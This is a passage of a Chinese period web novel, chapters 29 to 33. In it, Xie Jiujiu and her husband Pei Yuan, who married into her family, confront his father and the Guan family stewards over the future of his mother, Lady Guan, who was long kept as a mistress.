在后院安抚母亲和弟弟妹妹时,谢九九找的理由是,这毕竟是关家的事,即便是裴元也不好多插嘴什么,咱们又怎么好显得过于在意。 但她心里又怎么可能会没有担心,自己跟裴元这一场夫妻之间,非要说有多深的感情,没了他自己就活不成,这话不说旁人不信,就是自己也不信。 没有那么深的感情,自己又凭什么留住人家。两人成亲之前一条一条写在婚书上,自家可以给他的所有东西,关家都能给,自家给不了的身份体面关家肯定也能给。 跟着关氏回京城,做关家的表少爷,还是留在容县做谢家的赘婿,换做是谢九九来选,谢九九还真就不敢把答案说出来。 东西收拾好,明天搬上马车就能出发。 这一次去府城不知道要留多少天,谢九九看着大大小小好几个包袱皮,背对着裴元深吸了一口气,调整好脸上的神情,这才转过身来推着裴元从次间出来。 “什么空不空的,我又没问你。今天赶紧去县衙把要交代的事情交代清楚,你不在大舅用谁都不顺手。我去一趟铺子里,明天让潘掌柜跟我们一起走。” 谢九九不接这个茬,裴元也不再提这事。 第二天早晨在家里吃了早饭,出门坐上马车绕路去潘掌柜家接上潘掌柜,好像这次去府城,真就是去见见关氏给她这个长辈请安,其余的什么都没有。 从容县到府城,马车走了大半天。连中午饭都是在路旁的茶摊上,要了茶水就着早上陈妈妈新做的饼子,把肚子填饱就算完了。 谢九九上一次来府城还是十岁那年,谢德昌来府城办事,出门的时候被十二岁的谢九九噘着嘴堵着门不让走。谢德昌拿女儿没法子,只能把她也带上。 十岁的小孩儿还没开始长个子,小小的一个人儿被爹牵着走在府城里,看什么都新鲜。 多年过去,身边的父亲变成了丈夫,谢九九还是看什么都新鲜,却不能再拉着身旁人的衣袖,叽叽喳喳的问,这是什么那又是什么。 马车一直走到关氏住的小院门口才停下,小宅子就四正四方的一进,关氏带着儿子和一个伺候的丫头住了好些年。 裴元被过继出去之后,关氏把同住在一条巷子里的一个老寡妇给找了来。 那寡妇只有一个女儿也嫁人了,不是不管她,但婆家不在府城,一年到头回来的次数就有限。 关氏一个外宅,带着小丫鬟过日子不成,干脆把唐寡妇给请过来一起住。跟着关氏一起吃每月还给二钱银子,就是借借她的身份挡住别有用心的人,能过个安生日子。 唐寡妇说是老,其实也才五十来岁。从年轻时开始守寡,独自拉扯一个女儿长大。 都说寡妇门前是非多,唐寡妇年轻的时候据说长得也好,为什么她能守得住寡,一来是她自己没心再嫁,二来是这个人的性子颇有些油盐不进。 年轻的时候叫泼辣,年纪大 了便成了一副凶巴巴的样子。眼睛看人总带着几分挑剔,因为老皱着眉头看人,年纪大了眉心正中间都多了一道深深的竖纹,看上去就更凶了。 有这么个守寡几十年为人正派的寡妇守着门,即便儿子不在身边裴老三很少过来,关氏门上也没人敢来造次。 马车刚在门口停下,坐在门旁拿着个簸箩做针线活的唐寡妇立马就抬起头来,凶巴巴的样子把赶车的何奎都吓了一跳。 何奎这次是专门把手头的活儿放下跟着过来,用他的话说就是承平和高义他都看不上,都是毛还没长齐的小子,当不得用。 还是裴元赶紧从马车里先下来,唐寡妇看见是他脸色才缓和下来。 随即想起裴元自己把自己招出去做了上门女婿,脸呱嗒一下又垮得更难看,“你这孩子,怎么敢这么自作主张,你娘知道这事都哭了好几轮了。” 谢九九跟在裴元后面,正准备从马车上下来,听见这话顿时不知道还该不该下马车。还是裴元转身半扶半抱着把人从马车上抱下来,才解了她的尴尬。 “唐大娘,我都多大岁数了,家里祖父去世我便是顶梁柱,自己的事自己不做主,那怎么能行。” 唐寡妇有唐寡妇的好,是个嘴硬心软的人,关氏跟她一个屋檐下生活裴元放心。 但她也肯定不能接受自己入赘的事,说不通的事就不要说,裴元向来不会在这种事上浪费时间。一声祖父,提醒这大娘自己是已经过继出去的儿子,也就够了。 小院子不大,进门就是三间正房带两边的厢房,中间围出来一个小小的院子,裴元在门口说的话,里面的人没全听清也听了个大概,一屋子人除了关氏都挺尴尬的。 韦管事是昨天回来的,带回来裴元入赘的消息,让一大早就来了关氏这边的裴老三变了脸色。 大户人家的管事都机灵,一大早从谢家出来没直接回来,而是找人打听了一下裴元入赘到底因为什么,别是被谢家给骗了。 真要是被骗被逼的,如今裴元身后有关家,一个县城里的小小的谢家怕是想留也留不住人。 谁知人家还真就是自愿的,事情的原委县城很多人都知道做不得假。这是说到底就是裴老三想要总旗的武职还不肯大方,把儿子往裴雨伯那里一推就不管了。 想着瘦死的骆驼比马大,裴雨伯怎么也要留些家底给裴元。哪知裴雨伯是个真敢花的,裴元也是个实心眼子。靠人家得了个清白的出身,就真把家底子全贴进去了。 人死了留下一堆烂摊子,想读书又一直被俗务缠着,要赶考手里多余的银子一分都没有。马上二十的男子没成亲的也不多了,不入赘怎么办? 他自己不给自己谋一条出路,还真就没人替他操办了。 儿子先是成了别人家的嗣子,后又成了别人家的女婿,裴老三此刻多少有些坐立不安。 他再不是个玩意儿也怕看见儿子跟在妻子屁股后头进来,上门女婿嘛,在裴老三这样当了大半辈子爷的人心里,就是这么个形象。 他坐着没动,只有关氏起身迎了出去。 昨天刚知道儿子给人当了上门女婿时,关氏也是又气又急。一夜枯坐后,把眼泪擦干把心情收拾好,至少谢九九见到从屋里出来的关氏时,看不出她脸上有半分怒意。 第30章 第30章“这么热的天,一路…… “这么热的天,一路上不好走吧。” 木已成舟,亲事已然做成了,自己高兴不高兴不要紧,要紧的是儿子顺心不顺心。 当初过继裴元,自己觉得是为了儿子好,没吵没闹就这么把儿子推出门送走了。 本意当然是想他往后路走得更顺些,不曾想儿子在外面报喜不报忧,过得并不好。现在儿子自己选了入赘这条路,以后能不能好,关氏不敢再轻易下定论。 但她清楚一点,眼下自己不能给儿子和他妻子之间添堵下蛆,自己这点不高兴,咽不下也得咽,笑不出也得笑! “是九九吧,昨天听从县城回来的人夸你大方懂事,模样又标致。我还道元哥儿哪有这么好的运道,能得这么个样样皆好的妻子。” 谢九九外表很能唬人,明眸皓齿唇红齿白,笑盈盈的一张脸杏眼弯弯,糯团子一般站在裴元身侧并不张扬跋扈,只有没有错后裴元半步的站位,能看出来这对夫妻的地位。 “娘说这话太客气了。” 谢九九笑着任由关氏牵住自己的手往屋里走,“早就该来给娘请安,是我家的事一件接着一件才给耽误了。” “加上我俩这事办得实在不周到,生怕长辈责怪,一来二去的拖,拖到今天才来,都是我和远舟的不是。” 开口只说是自家的不是,主动把入赘没有告诉关氏说成是不周到,却半点不说裴元入赘这事儿错了。 又只说今天来府城是为了给关氏请安,至于关家的事谢九九提都不提,好像这只不过是无关紧要的一件事,半点儿不上心不着急。 “远舟这孩子离了我,就只知道报喜不报忧,他在容县过的什么日子我是全然不知的。” 关氏也曾经托人去容县看过裴元,守孝期间本就不能铺张浪费,裴元再拮据又不曾亏待了家里人,外人不问究竟确实看不出他的日子过得有多不好。 “入赘的事他没告诉我,是怕我不同意。” 两人进屋,关家两个管事都站在一旁规规矩矩,再怎么也是姑小姐和姑小姐生的小爷,不能说当奴仆的在主家跟前托大。 只有裴老三黑着脸坐在一旁,听着关氏说起入赘的事,一副愤愤然的模样。 “我也不瞒着你,要是这孩子提前把这事告诉我,我是肯定不会同意的。可如今这事已然成了,我就只有盼着你们把日子过好的心,你们日子过得和顺了,别的都是次要的。” “这话远舟也同我说过,前两天韦管事去县城肯定也打听了我家的情况。 我招赘是不得已而为之,我和远舟的婚书也已在县衙存了一份。往后我忙铺子里的事,远舟专心读书,日子自然是要越过越好的。” 何奎和曹勇跟在后面,把大包小包的东西从马车上拿下来,光是那些布料就来回搬了两趟才搬完。 关氏不是没见过好东西,谢九九准备的布料不能算顶好的,但绝对是谢家这个档次能拿得出手最好的。 没有打肿脸充胖子,或是故意拿银子来以势压人,这就是要跟关氏好好相处的意思,并没有因为她是外室就不想认这个婆婆。 本来觉得是谢家占了自己儿子便宜的关氏,看着谢九九这幅做派,心里的不满不由减了两分,连一直在院子里指挥曹勇何奎干活的唐寡妇,眉心的竖纹好似都没有那么深刻了。 东西有何奎他们归置,不用多管。裴老三和关氏本也不算夫妻,儿子是成亲了但儿子也早就过继出去了,见父母再有什么礼数这会儿也挑剔不着。 裴老三倒是想教训儿子,可还没张嘴就先被谢九九带着挑剔和沉甸甸的眼刀子给堵了回去。 不是怕了谢九九,而是他有些拿不准谢九九到底是个什么性子。 要是当着关家人的面,她这个当小辈儿的不管不顾的挤兑自己,自己能怎么办?怎么办都丢人。只能先忍着气儿,把关家的事先办了再说。 裴元和谢九九在屋里一坐定,严管事就忍不住把来意又跟裴元说了一遍。 “好叫小爷知道,老夫人和家中大爷、五爷都盼着姑小姐回去,老夫人去年病重,病中更是一直念叨着姑小姐。 说句僭越的话,上了年纪的人,今日睡下明日还能不能起来又有谁知道,小人们这次出 来找不到姑小姐便罢,找到了不赶紧回去,若是赶不上见老夫人最后一面,想来也是一桩憾事。” 宰相门前七品官,关家还没出个宰相,但关家的二管事出了府门走到哪儿也是老有体面的爷们。这次伏低做小等了几天早有些不耐烦,对裴元说话自然颇有几分不客气。 裴元见他这样也不恼,点点头理了理袍角,起身走到他跟前居高临下俯视着,“你说你家着急找我娘,那为何找来了却处处语焉不详。” “你来寻人却不明说关家如今到底什么境况,你说没说你家如今在京城是何等家世,家中还有何人,接我娘回去见老夫人一面,见过之后呢。 是留在京城还是送回来,要是送回来那这次去京城就是去探亲的。要是留在京城又该以什么名义,是你关家把流落在外的姑小姐接回家,还是……” 裴元看了一眼坐在一旁脸色难看的裴老三,又看了看自己的娘亲,深深吸了一口气才把话继续往下说,“还是以裴家三爷外室的身份接回去,你们什么都不说清楚,我娘凭什么跟你们走。” 两个管事千里迢迢从京城到岳州,要说关家老夫人不想女儿,肯定是假的。 可他们难道从未想过女儿要是真的活着,是靠什么活下来的?被好心人捡回去收养,好好养大然后嫁做人妇,那可不是委屈,那是天大的运道。 自己的娘没有这样的运道,自己和娘也都不是听别人说几句话就会什么都不管不顾跟着走的人。 或许这两天娘背地里也盼着骨肉团聚,但盼过了也就过了,不是十几岁什么都不懂什么都能不顾的姑娘了,方才在院子里母子两个一对眼,裴元就明白关氏到底是个什么打算。 “一个病得只剩一口气的女孩儿独自流落在外,贵府是真的从没想过我娘这些年该是什么境遇?恐怕是不敢想,想了也不敢说罢了。 贵府的主子们没说,两位管事就不敢自作主张,只能意会主子们没说出口的意思,先想法子把人带回去,至于其他的那就到时候再说。” 可关氏不能跟他们到时候再说啊,这些年给裴老三当外室,难道是什么好名声不成。 再这么黑不提白不提的跟着关家人走了,旁人哪里知晓内情,还不知道要说出多难听的话来编排关氏,就连裴元也免不了被卷进来。 一个给人做了二十多年外室的女人,都徐娘半老还闷声不响不见人影了,到时候众人是相信是关氏的娘家找来把人接走了,还是别的更香艳更不堪的流言,猜都猜得到。 被说中了打算的严管事脸上的神情有些讪讪,“小爷说的事情小的们想过,本是想着先把姑小姐带回府,等日后再派人来解释……” “都说身正不怕影子歪,这话在理却也不在理。” 裴元没等严管事把话说完,就冷着脸打断了,“人言可畏,流言兴起时用不着证据,一夜之间就能满城皆知。之后你们再想要把流言澄清,就是难上加难!” 懒得继续跟他们掰扯这些,裴元转身重新在谢九九身边坐下,“贵府想要带我娘走,得跟裴家说明白,得名正言顺的接我娘走。” “我娘没嫁过人,关家把人接回去我娘便只是关家的女儿,跟裴家、跟岳州,往后就没有半点关系了。” 是了,关氏没嫁过人,她这些年就是没名没分的跟着裴老三。 关家真要接人回去不是不行,但得名正言顺的接,得叫人知道关家清楚关氏这些年的境遇,还愿意认这个女儿,得叫街坊四邻和裴家知道,从今往后关氏就跟裴家没有关系了。 这么着,关氏回京不管是在关老夫人跟前伺候尽孝,还是关家养着她这个姑小姐,亦或是关氏自己在京城另立门户自己过日子都行。 但关家眼下明摆着从没想过怎么替关氏周全,他们只是想把人带回去哄着关家老夫人安心,关氏以后是好是歹对于关家来说,倒也不是全然不在意。 不过他们骨子里就透着一股傲慢,傲慢得连想都不愿意想自己的母亲会有如何不堪的遭遇,傲慢得以为把人带上一走了之,就能抹去母亲这几十年的人生。 裴元的话严管事听懂了,他本以为关氏一口咬定非要把裴元找来,裴元端着架子连跟着老韦一起回府城都不肯,肯定是想要关家把姑小姐母子两个一起带回京城。 甚至昨天晚上严管事和韦管事两人都商量好了,姑小姐要是非要带上裴元那就带上。 府里还有几个偏僻的小院子,收拾出来让裴元住着,就当是投奔府里的亲戚,也不是多为难的事。 当年关家遭贬,被关家牵连的亲戚朋友也不少,后来关家起复来投奔的关家或多或少都得帮衬一二。哪怕裴元是想借着关家的势,跟谢家把已然成了婚事给退了,也算不得什么不能办的大事。 “不行!”却不想一直坐在一旁没说话的裴老三却突然插嘴,一脸阴沉的看向裴元,“你娘跟了我大半辈子,如今你连商量都不跟我商量,就要别人把你娘带走,你这安的是什么心!” 这话一出,别说关氏和裴元皱眉,就是一直坐在一旁没说话谢九九都以一种十分惊诧的目光看向裴老三。 人家关氏那是跟了你大半辈子吗,那是不得不被你买回来圈在这个小院子里,当个玩意儿圈了大半辈子。但凡真把关氏当个人,带回裴家当个姨娘,也比现在这样强吧。 现在跳出来说这个话,难道还指望关氏和裴元感念你的情不成?这人脑子里想什么呢。【你现在阅读的是 】 30-40 第31章 第31章打狗要看主人 或许是众人的眼神过于不加掩饰,裴老三有些恼羞成怒。 眼睛顺着屋里的人看了一圈,最后落在裴元身上,几乎是噌一下从椅子里跳起来,手指哆里哆嗦指着裴元的鼻子破口大骂。 “你是老子生的,没有老子哪来的你,从出生起老子是缺你吃了还是少你穿了。 你自作主张入赘去了别人家也就罢了,还敢反过头来撺掇你娘抛夫,这是哪门子的道理。你娘说要供你读书,读了这么多年就读出你这个没人伦的混账!” “裴三爷,这怎么话说的。你既知道远舟已经入赘到我家了,怎么还好当着我的面这么骂人。难道裴家没有出嫁的女子,难道裴家的长辈平日也是这么当着女婿的面骂你家女儿的?” 裴老三是个混球,骂起人来不管不顾什么话都敢往外说。 本朝把孝道看得极重,要不然也不会裴元给裴雨伯结结实实守了三年孝,大家伙就认他是裴雨伯这一支的嗣孙,至于他之前是不是外室子,反而不那么要紧了。 裴老三是裴元的亲生父亲,这也是眼下谁也不能更改的事实。 裴老三不用裴元的供养,可要是裴老三真的到处宣扬说裴元不孝没人伦,裴元别说科举,就是日后再要读书,恐怕好一点的先生都不会收他。 谢九九不想插手裴家和关家的事,但她不能让人骂到裴元头上来。打狗都得看主人,他裴老三太没有分寸了。 “你!哪里来的小家妇,一点规矩也没有。” “容县谢家的女儿,你待如何!” 谢九九拉过裴元藏到自己身后,裴元被她要高大半个头,又不是个文弱身子,这么挡又能挡得住什么。 偏谢九九生来一副霸道性子,凶起来那股恶狠狠的劲儿还真有些吓唬人。至少裴老三就没再继续数落裴元,说出更加不好听的话来。 而是转身看向关氏,哪怕强压着火气也忍不住显露出三分颐指 气使和无端的傲慢。 “五娘,你来说,这事该怎么办,难不成你也要舍了我和元哥儿。你可想好,你要是真走了,往后再想回来见儿子可就难了。” “别叫我五娘!”被周寡妇收养的女孩儿不止关氏一个,她是大户人家养出来的小姐,底子好身段也好,那几年除了琴棋书画,周寡妇还教了她跳舞。 她不想学就得挨打,被打得死去活来的再不想学也都学会了。 碰上裴老三的时候,他喊她的是舞娘。后来被他收做外室,舞娘实在不好听才成了关五娘。关氏从未告诉过裴老三,自己有名字,从来不是他的什么狗屁五娘! 关氏站起身挺直腰杆,却是径直走向严管事。 “当年母亲把我留在岳州,我这才留了一命。按理说家中找来,我这个做女儿的半句多话都不该有,就得跟着两位管事回家,伺候在母亲身旁,才能报她生我一场又救我一命的大恩。” “可你们也瞧见了,我走不了。我这么不明不白的走了,我儿子的前程就毁了。” “生了孩子才知道儿女都是债,这辈子就当是我欠了爹娘的。还请管事送信回京,替我禀明一切。若愿意便想法子光明正大的来接我,若不愿意……” 关氏看了一眼裴元,又往门外看了一眼。小小一个院子圈了自己二十多年,以前半夜想起来都觉得愤懑不平,现在好似也没有那么难受了。 关家要是嫌弃自己这些年的遭遇不愿意认,关氏也没想过要纠缠。已经这么稀里糊涂的过了二十年,再这么过下去,其实也不是忍受不了。 “若关家不愿意,这事就该父亲出面,想法子替我娘把这件事说清楚。” 但裴元不可能再让关氏往后缩,事情都已经闹到这个份上了,说什么都得有个结果。箭在弦上不得不发,说的就是眼下。 “父亲,娘的事我早就放在心上琢磨了,倒不是今日才想的。” 要不说谢九九觉得自己跟裴元相配呢,这心眼子寻常人还真没有。裴家觉得自己占了便宜,从裴雨伯那里把总旗的武职给拿了回来。 而裴元则是早早的就已经想到了要拿裴老三头上这个总旗的武职做文章,只不过之前是想等自己考中了秀才,至少他说话有人听了,再提这事。 现在既然有关家当大旗,裴元自然想要让关氏早点脱离苦海。 “本朝律法,朝廷官员纳妾需符合礼制。并且纳妾需经正妻点头,外室是不被承认的。” 说到外室二字的时候,关氏的腰杆子都往下塌了塌,还是谢九九把人扶住了,悄悄伸手扶在她背后安抚着摩挲了好几下,才没叫她当着裴老三的面塌了气势。 “以前您身上没有官职,在外面在养外室,除了三夫人没人会管这事。” 现在不一样,虽说总旗这样的低阶武职不起眼,裴老三平时也很少去卫所,有什么事情花点银子让下面的人帮他干了就行了,但总归是有人管着了。 “也就是眼下天下太平,家中老爷还在高州任通判,没人会在这些小事上跟您计较。但纸包不住火,即便关家因为我娘做了外室不认我娘,这事您以为能瞒多久。” 等外人都知道了,要么你裴老三这几年把整个卫所上上下下的人脉人情都维持住了,要不然就免不了有人要拿这个事跟你做文章。 想要遮掩,是没法遮掩了的。裴元这么大个儿子杵在这儿,说什么都不好使。可要是你能主动把这事给料理干净,以后就是有人要找你的茬儿,关家就不会站干岸。 要不然,满朝文武这么多人,谁能保证谁家能世世代代永保富贵。哪天犯了事全家遭贬不说,亲生骨肉还得一辈子给人当外室当个玩意儿。 雷霆雨露皆是圣恩,这种事怪不了皇上上官,难道还迁怒不了你一个高州通判家中,没考过功名只有个世袭总旗武职的裴老三吗。 更别说这个武职承袭得还不光彩,真要丁是丁卯是卯的较真,这个武职得是裴元的,跟你裴老三半毛钱关系都没有。 毕竟是给裴家二房管了多年庶务的人,后半截话裴元不说裴老三也懂了。当下的脸色很不好看,但再不好看态度也肉眼可见的缓和下来。 不说不答应也不说答应,只说这事得送信去高州,该把事情跟家里长辈禀明再说。 这话说出来,谢九九没忍住低头嗤笑了一声。 当年在外面养外室的时候没见着这么听话问家里长辈,现在外室身份变了,想留留不住了,这下想起来家里还有长辈了,怎么这么逗呢。 不过笑归笑,事情就是这么个事情。关家的管事和裴家的三爷都拿不定主意,都要写信等个回音,那就只能等。 关家两个管事回客栈去,裴老三耷拉个脑袋回裴家,只有谢九九陪着关氏吃了顿饭,安安心心留在小院里住下来。 裴元的屋子关氏一直留着,被褥都是昨天夜里关氏提前换好的。明明也不乐意儿子招赘给谢家做上门女婿,关氏还是什么都准备好了。 谢九九在床边坐下,手指轻轻拂过蓬松的被子和柔软的褥子,被褥上还有淡淡的皂角香和太阳的味道,一摸就知道这些用的盖的都是经常拿出去晒过的,才会这般舒服。 “你也别着急了,这两个管事做不了主,裴三爷这一下子肯定也下不了决心。等着吧,等京城和高州的信回来再说。” 其实要是自己是裴老三,今天这事当场就得答应下来。哪怕关家这俩管事不愿意,也得想法子逼着他们愿意。 关氏多大岁数了,留下来给你当外室两人之间没有那档子事,两人之间又还有裴元这个亲生的儿子维系着,怕什么。 顺水推舟做个人情把关氏好好送回去,以后真碰上什么要命的事,关家不说尽心尽力,也不会站干岸一点都不管。 现在这样黏黏糊糊要答应不答应的拉扯犹豫,之后就是什么都依了关家的,关家也不会记他这个好,这又是何必。 “我不着急。”裴元拿过蒲扇挨着谢九九坐下,“原本我是想着,要是我能早日考取功名,也能让我娘早日脱离了这个小院。” 跟着裴老三这么不明不白的过日子有什么好,在裴元的设想中,以后自己有钱了就给关氏买个小宅子,立了女户找个丫鬟找个婆子伺候着。 “我要是能考上,能留在京城就想法子在京城买,要是得外任就在任上买。我这样没什么根基的,一旦外任为官,听他们说几十年不回了京城也是常事。” “宅子不必大,离咱们近一些就行。隔三差五过去看看,缺了什么给补上,难道不比如今的日子强。” 裴元是个很有分寸的人,这是谢九九跟他成亲以后最大的感受。 关上门的时候,幔帐放下来,床帏之间简直浑闹得没个边。 好几次谢九九都想问他,他书房里那么成箱成箱的书里是不是也偷藏了春宫,还得是比自己手里那画册要更稀罕更要命的,要不然怎么就那么多花招,折腾得人腰酸腿疼! 等出了门,就再没人看得出他也有那般放浪形骸的时候。 家里母亲觉得这个女婿端方知礼,文济觉得他这个姐夫博古通今才情特别好,就连向来对谁都淡淡的芝娘,这次出门前都主动拉着谢九九,嘱咐她出去一趟千万别把姐夫落外面,一定要把人带回去。 娘和弟弟妹妹这个态度,就说明家里多了裴元她们依旧过得自在,自在得家里人生怕裴元因为关氏的变故,就这么稀里糊涂的离了谢家。 “其实……” “诶,有些事我与娘子虽没在成亲前提及,也未曾写在婚书上。但我以为这些事你我之间都有默契,有些话不能说,有些事不可为啊~” 蒲扇的风大半都扇在谢九九身上,后背的薄汗渐渐收了。 谢九九拿过点心匣子里装的花生剥开,把皮给搓了放到裴元手心,“那我以后可就真不提了啊。” 关氏的情况特殊,裴元再 是入赘的姑爷,以后他要带着他亲娘一起住,谢九九也不能硬拦着。可现在他主动这么说,谢九九自然乐得不跟婆婆一个屋檐下过日子。 “快别提了。”裴元笑着把煮过的花生米扔进嘴里,搂着谢九九安心睡下,“放心,这事肯定能成。” 第32章 第32章鬼精鬼精的读书人 能成什么?在小院住了几天谢九九就明白了。 这种事就像裴元所说,难道裴家不说关家不说,哪怕谢家和黄家都不说,别人就不知道了吗。 光是关家两个管事来了岳州,以关家的名义托的关系找的人就不少,现在关家的姑小姐找到了,这事能瞒着人家吗,就是想瞒又如何瞒得住。 便是除开那些人,就连一直对裴老三在外面养外室装聋作哑的正妻蒋氏也知道了。 “三爷,有些事您真的不打算同我说一说?哪怕通个气儿呢。” 蒋氏的娘家在府城也算是有头有脸的人家,家里是世代贩卖药材的大户,家里光是往西南去的商队就有好几条。 要说银子,每年跟淌水似的往家里赚真真一点不夸张,唯一的缺憾就是家里没个读书出仕的人。 前些年也捐了官,可或许世上没有样样好的事情。早年捐了官的叔叔还谋了个实差,却不想人还没到任上,就遇着山洪死在半道上。 后来蒋氏的哥哥捐了个七品的武职,原想着这次就花钱买个体面,把卫所上下的关系处好,家里生意上有什么小事不用再托别人,自家抬抬手解决就行了。 谁知哥哥的官也只当了三年,蒋氏十五岁那年她哥哥和卫所的同僚出去打猎,说不清发生了什么,她哥哥从马上摔下来,被送回家只熬了三天,就也死了。 家里的爷们因为入仕接连丢了性命,本就迷信的生意人家自然更加认定家里没有出仕为官的命。 但没有这个命,也得替家里多寻些靠山。 当时蒋家给蒋氏说的亲事也是城中富户,就因为哥哥去世家里又不肯再让男丁入仕,只能悔了蒋氏的婚约,转过头来把她嫁给了裴家二房的老三。 裴老三从年轻时起就是府城里小有名气的纨绔,读书不成还整日流连烟花之地。 听说十四岁就学会给女支院里的花魁点灯笼,十八岁没能把亲事给定下来,就是因为只要随便一打听便知道裴三少爷院子里,养了好几个通房。 正妻没过门,就先养了这么多通房,这是什么狗屎名声。裴家再是地头蛇,家中也一直有人在做官,但真的愿意拿亲生女儿去填裴三这个坑的,还是少之又少。 再说裴三自己也挑拣呢,想跟两个兄长那样娶个官家小姐,又想要娶个貌美如花温柔小意的妻子。这也想要那也想要,拖拖拉拉到了十八也没能把亲事定下来。 直到碰上蒋家,看上裴家二老爷官场上的前途,愿意给蒋氏远超出一般情况下的嫁妆,两人的婚事才这么做成了。 都说当年蒋氏嫁过来时,是实打实的十里红妆,不说珠宝首饰布料绸缎这些,光是田产和银票都装了满满一个大匣子,更不要说那一整套红酸枝的家具。 当时人人都说裴家老三娶了个极金贵的媳妇,可金贵有什么用呢,蒋氏再厉害,过了门就把院子里几个通房都打发了,也不耽误裴老三继续往家里纳妾。 连着纳了三个妾,一个被蒋氏规训得平日里连抬头都不敢,出门走路都只低着头,见谁都不说话。 还有两个,一个生了个儿子,生完就死了。另一个一直无所出,这些年在裴家活得就像个透明人。 蒋氏厉害,裴三当然知道。但裴三这些年管着家里的庶务和田产,蒋氏和蒋家多有助力。几个妾室罢了,她乐意往她们身上撒气,裴老三犯不着为了她们跟蒋氏翻脸。 当年得了关氏以后,他才说什么都不肯把人带回家里。带回去了,多新鲜的美人儿都得被蒋氏弄得朽木一般,有什么趣意。 现在看着冷着一张脸,早没了刚成亲时那般鲜艳容颜的妻子,裴老三哂笑一声,半点假样子都懒得做。 “夫人想我说什么,关氏什么才情什么姿容,我要是带回来她如今活没活着都不好说,关家的人要是只找到个坟包,恐怕你和我这会子也不能安然坐在这里计较这些。” 在裴老三心里,落得现在这般两难的境地都是蒋氏不大方。 当年她要是容得下关氏,自己把她纳进府里来,现在得是关家捧着自己感恩戴德,给了他家女儿一份安稳日子。 如今可好,自己外面宅子买了银子花了,女人儿子都养了还落不着一个好,人家还觉得是自己怠慢了关氏。 白天的时候裴老三被自家亲大伯叫了过去,问的也是关氏的事。做长辈的不好问侄儿怎么安置他的外室,人家只问关家的管事在府城的这段日子,他怎么招待。 也就是到了今天,他才知道关氏的长兄官拜工部左侍郎,弟弟是两榜进士在翰林院为官。还有个妹妹,当年跟着家人走到了岭南,就嫁在了岭南。 后来没有跟着回京城,据说家中丈夫在市舶司里做副提举,官职不大但管着进出口的所有货物,这里面的油水能有多大,裴三连想都不敢想。 “夫人以为我在外面要风得雨,可你看看,要是关家不想我知道关家的底细,我就是四处打听也打听不来。还得是大伯找了府衙里的二老爷,他托人去打听才打听出来。” 没被裴大老爷叫过去之前,裴老三不是没想过把关氏强留下来,亦或是借着关氏的东风搭上关家这艘大船。 现在?现在裴老三已然有些后悔那天怎么没直接答应下来。就是关家讲究脸面不愿意大张旗鼓的把关氏送回去,自己也得想法子促成这事啊。 要不然自己就彻底成了关家如鲠在喉的那根鱼刺了,哪天想起来哪天都不舒服,哪天忍不下去想要把这根鱼刺拔了,哪天自己的好日子也就到头了。 “那老爷明儿再去关氏那里看看?”嫁给裴老三这么多年无所谓好不好,蒋氏眼下在意的是关家。 本是想看看裴老三能不能攀上关家,自己生了两个儿子,他们跟裴元不也算兄弟嘛。要是裴元跟着关氏去了京城,那自己的儿子是不是也能跟兄弟亲近亲近。 想得挺好,被裴老三这么一打岔心气儿就散了大半。可再得罪人事情总得往下办,反正去伏低做小的又不是自己,裴老三憋屈,那就让他憋屈去。 “看什么看,人家送去京城的信再有几天都该到了,寄去高州的信早该到了,现在想什么办法都来不及,我还是等着老爷怎么骂我吧。” “等等等,老爷人在高州,这些年咱们这一房的事情老爷和夫人问过多少。” 蒋氏一听这话就来气,自家留在府城这边打理家业,每年都要往高州送不少银子。 高州那边一年到头也就过年的时候能收到大房二房的年礼,年年都是些高州的特产,加在一起也值不了几个钱。 老大和老二跟着老爷个个都在衙门里谋了差事,就只有自家,说得好听是三爷,说白了还是一平头百姓。现在这个总旗的武职,都是伯父做主卖了儿子换来的,难道又是什么光彩的事吗。 “得得得,夫人快别唠叨了。你要有本事啊,就寄封信往高州去。我知道你们蒋家觉得我不争气,是裴家骗了你们家,你把这话跟老爷说去,跟我啊你说不着!” 不过裴老三嘴上说着不去不看,第二天拖拖拉拉直到傍晚黄昏,也还是找借口出门往关氏这边来。 只可惜到了小院唐寡妇堵在门上不让进,裴老三气得直跳脚又不敢撕破脸,站在门口嘀咕着骂了几句,直到看见挂着青松书院标识的马车往小院这边来,才急匆匆的走了。 来送信的门斗穿的衣裳都是书院里统一置办的,他们平时除了看门和替家眷给书院里的学生传递东西,还要负责给山长老师们跑腿送信。 今天过来是替监院给裴元送信,关家两个管事来岳州第一个找的人脉就是李监院,这人前几年刚辞官回乡,和关家大爷曾是同僚。 信上的意思是让裴元有空回书院一趟,让先生们和山长看看他学的东西有没有落下。明年就下场考试了,有些东西再重要也不能分心。 裴元看完信顺手就给了谢九九,“趁着高州和京城的回信都没到,跟我一起去书院看看?” “我?我行吗。”向来什么都不怕的谢九九,难得有些紧张。读书人的地方听着都觉得矜贵。 “书院里的学生一大半都是成家了的,再是说书院是读书的地方不能分心,人家家里人难道就一次都不去看看?” 书院在书院靠外侧留出一块地方围起来,里面建了一排小院子,就是专门给跟着学生一块儿来的家眷住的。 “住过去前三天不收钱,还想继续住,一天光是房费就比府城最好的客栈还贵。” 三天,足够家眷把书院看一遍放心回家。高昂的房钱也能让绝大部分学生的家眷不会留下来,真花得起这份银子的家里各个有产业,再不放心还能把家给抛下,就留在书院陪读? 要不说读书人精明起来才是真的鬼精鬼精的呢,这就属于又做了好人,又把人家想要跟着去书院读书的念头都掐得死死的,还没法说书院半个不好。 “那行,今晚上跟娘说一声,今晚上把东西收拾收拾,明天就去书院。” 第33章 第33章我是不信我自己 谢九九从来不亏着嘴,住在小院这些天,天天都要带着春儿去市集上逛。 就这么十来天的时间,光是山里养的黄皮鸡就买了一笼。还有二两左右大小的刀鱼,明明已经过了吃刀鱼最好的时节,也不知道是怎么存下来的。 刀鱼买回来清蒸,蒸熟了放点姜丝葱丝和豆豉,再拿热油一泼,谢九九一口气能吃三条。 关氏当年是当做瘦马养了好些年的,养作瘦马的女子想吃饱是不可能的,要的就是那股子弱风扶柳的劲儿。 跟了裴老三,没生裴元之前关氏也从不敢肆意吃上一顿。 没法子啊,一个给人做外室的漂亮女子,要是抓不住眼前这个男人,用不了多久一定会被转手卖去更下九流的地方去。 后来有了儿子以后,倒是过了几年安心的日子。可随着儿子慢慢长大,裴老三说什么也不提把儿子认回裴家的事,关氏要操心的事情就更多了。 心里总压着事情,就没心思讲究吃穿。厨房里的活儿以前都是巷子里一婶子在干,每天过来做两顿饭。后来唐寡妇住过来,就归唐寡妇做。 饭菜做得绝对不难吃,但比起谢九九这个从小在云客来混大的姑娘来说,还是没有可比性。 